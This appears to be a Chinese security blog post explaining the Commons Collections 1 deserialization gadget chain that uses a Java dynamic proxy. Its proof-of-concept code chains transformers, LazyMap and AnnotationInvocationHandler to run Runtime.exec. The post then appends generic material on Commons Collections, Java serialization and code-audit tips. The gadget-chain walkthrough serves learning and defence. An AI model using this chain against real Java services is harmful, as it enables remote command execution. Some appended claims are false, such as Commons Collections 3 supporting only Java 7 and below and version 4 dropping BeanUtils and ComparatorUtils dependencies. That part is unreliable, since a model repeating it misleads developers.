0x00 前言
顺序还是:迭代链-调用迭代链-触发调用迭代链
这里和Transformed的区别在于这里用到了Java动态代理。动态代理可以参考:https://www.cnblogs.com/gonjan-blog/p/6685611.html
或者网上随便搜索资料。
0x02 动态代理调用链
1.简述动态代理
简单的说就是执行被代理对象的任何方法都会先触发代理类的invoke方法。
比如map.get 就会触发代理对象.invoke方法。
2.poc
先上 poc
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), lazyMap.getClass().getInterfaces(), annotationInvocationHandler);
annotationInvocationHandler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
这里除了使用反射去调用AnnotationInvocationHandler,然后 InvocationHandler设置一个代理。
3. 可以代理的条件
这里可以使用代理的条件有三个:
- 目标包含invoke
- invoke方法中调用get
- readObject调用已有方法
因为AnnotationInvocationHandler继承InvocationHandler肯定是包含了invoke方法的, invoke方法中看到了get:
在readObject中调用了entrySet可以触发invoke
4.调用链
那么调用链实际上就呼之欲出了
- AnnotationInvocationHandler-readObject
- entrySet
- invok
- get
- LazyMap-get
- 调用链
- 迭代链
0x03 使用条件
jdk1.7
0x04 要点笔记
- 除开需要AnnotionInvocationHandler使用getDeclaredConstructor。
- 还需要使用Proxy.newProxyInstance进行代理,从而触发invoke方法。
补充知识
Commons Collections
Apache Commons Collections 是一个为 Java 提供扩展集合类的开源项目。它提供了一系列有用的集合类和算法,可以使编程变得更加简单,快捷和高效。该项目的目标是提供一系列可重用的集合类和算法,以便更好地支持 Java 语言的开发。这些集合类和算法采用了可扩展的方式,方便对其进行定制和扩展。一些常用的集合类包括:List, Set, Map, Stack, Queue 等。Commons Collections 还提供了一些实用的算法,例如排序,查找,迭代等。该项目还提供了一些工具类,用于操作集合和其它数据结构。该项目的目标是成为一个高质量,高性能,易于使用的集合类库。
序列化和反序列化
Java 序列化是将 Java 对象转换为字节流的过程,以便在网络上传输或者将对象保存到磁盘文件中。Java 反序列化则是将字节流反转回 Java 对象的过程,以便在程序中使用这些对象。
Java 序列化和反序列化的过程使用 ObjectOutputStream
和 ObjectInputStream
这两个类来实现。序列化过程中,将需要序列化的对象写入 ObjectOutputStream
中,并通过网络或文件等途径传输或保存,反序列化过程中则将字节流读入 ObjectInputStream
中,并通过类型转换得到原始对象。
需要注意的是,在进行序列化和反序列化时,对象所对应的类需要实现 Java 序列化接口 Serializable
,否则会抛出序列化异常。同时,在进行序列化时,对于敏感信息,需要进行加密或者采用其他安全措施。
序列化栗子
下面是一个简单的 Java 序列化例子:
import java.io.*;
public class SerializationExample {
public static void main(String[] args) {
// 创建一个对象
Person person = new Person("Alice", 25);
// 将对象序列化到文件
try {
FileOutputStream fileOut = new FileOutputStream("person.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(person);
out.close();
fileOut.close();
System.out.println("Serialized data is saved in person.ser");
} catch (IOException e) {
e.printStackTrace();
}
// 从文件读取序列化的对象
try {
FileInputStream fileIn = new FileInputStream("person.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
Person deserializedPerson = (Person) in.readObject();
in.close();
fileIn.close();
System.out.println("Deserialized data:");
System.out.println("Name: " + deserializedPerson.getName());
System.out.println("Age: " + deserializedPerson.getAge());
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
// 可序列化的类
class Person implements Serializable {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
运行程序后,会在当前目录下创建一个名为 person.ser
的文件,里面保存着序列化后的对象。然后程序从文件中读取序列化的对象,将其反序列化成一个 Person
对象,最后输出这个对象的属性。
Commons Collections优点
-
提供了大量的数据结构和算法实现,可以方便地加速开发过程。
-
支持泛型和迭代器,可以提高代码的可读性和可维护性。
-
对Java标准库中的数据结构进行了扩展和增强,提供了更多的功能和选项。
-
提供了安全的、线程安全的容器实现,可以避免多线程环境下的并发问题。
-
提供了高效的、可扩展的集合实现,支持自定义的对象类型和比较器。
-
提供了各种常用的算法和数据结构,如排序、过滤、映射、迭代等,可以方便地完成复杂的操作。
-
开源免费,并且有大量的文档和教程可供参考和学习。
Commons Collections3和4的区别
Commons Collections 3和4是Java编程语言中的开源类库,用于提供更多的集合数据结构和工具类。它们的主要区别如下:
-
架构:Commons Collections 4使用了新的架构,通过更好的设计和实现,提高了性能和可用性。
-
功能:Commons Collections 4新增了一些功能,例如BloomFilter,MultiValuedMap等。
-
兼容性:Commons Collections 4支持Java 8和以上版本,而Commons Collections 3只支持Java 7及以下版本。
-
依赖:Commons Collections 4移除了对其他类库的依赖,例如BeanUtils和ComparatorUtils,这使得它更加轻便和易用。
Commons Collections 4是一个更为现代化和高效的Java集合类库,更适合使用Java 8及以上版本。但如果你仍然需要在Java 7及以下版本中使用,那么Commons Collections 3是一个不错的选择。
Java代码审计学习技巧
Java代码审计是一项非常重要的安全工作,以下是一些学习技巧:
-
学习Java语言和基础知识: 了解Java的基础知识是进行代码审计的前提条件。这包括Java编程语言的基础、Java虚拟机的工作原理知识、Java安全API和Java编程规范等。
-
学习Web应用安全知识: 了解Web应用程序最常见的安全漏洞,例如SQL注入、跨站点脚本攻击、跨站点请求伪造、文件包含漏洞、不安全的直接对象引用和访问控制等。
-
使用代码审计工具: 代码审计工具可以帮助您快速识别潜在的安全漏洞。这些工具包括静态代码分析工具、动态分析工具和漏洞扫描器。
-
熟悉常见的安全漏洞: Java Web应用程序经常受到各种漏洞的攻击,例如SQL注入、XSS、CSRF、文件包含、命令注入和未授权访问等。学习如何识别和利用这些漏洞对于审计Java代码的安全非常重要。
-
阅读源代码: 阅读Java源代码可以帮助您理解应用程序的工作原理和安全弱点。此外,了解Java编程规范可以帮助您更好地理解代码并更快地找到安全漏洞。
-
不断提高审计技能: 随着技术的不断发展,安全漏洞形式和攻击技术也在不断变化。因此,不断提高审计技能并学习新技术是很重要的。参加培训、阅读最新的安全报告和博客以及参与安全社区都是提高审计技能的好方法。